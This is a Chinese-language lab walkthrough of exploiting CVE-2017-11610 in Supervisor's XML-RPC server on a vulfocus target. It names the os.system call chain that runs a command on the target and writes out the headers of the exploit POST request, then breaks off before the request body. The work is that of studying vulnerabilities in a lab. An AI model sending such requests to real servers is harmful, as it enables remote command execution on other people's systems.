一、CVE-2017-11610 Supervisor XML-RPC认证用户远程代码执行漏洞——漏洞攻击
1.简介
Supervisor是一套进程控制系统,用于监视和控制类Unix系统上的进程。XML-RPC server是其中的一个XML-RPC服务器。Supervisor中的XML-RPC服务器存在安全漏洞。远程攻击者可借助特制的XML-RPC请求利用该漏洞执行任意命令。以下版本受到影响:supervisor 3.0.1之前的版本,3.1.4之前的3.1.x版本,3.2.4之前的3.2.x版本,3.3.3之前的3.3.x版本。
2.vulfocus搭建靶场
下面截图图中访问地址实际和端口使192.168.20.240:26789
3.攻击源构造burpsuite报文
访问192.168.20.240:26789, burpsuite拦截报文内容后,发送到repeater, 构造包含supervisor.supervisord.options.warnings.linecache.os.system的如下报文发送,发送成功后,靶机上会自动在/tmp目录下生成success文件
POST /RPC2 HTTP/1.1
Host: 192.168.20.240:26789
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Len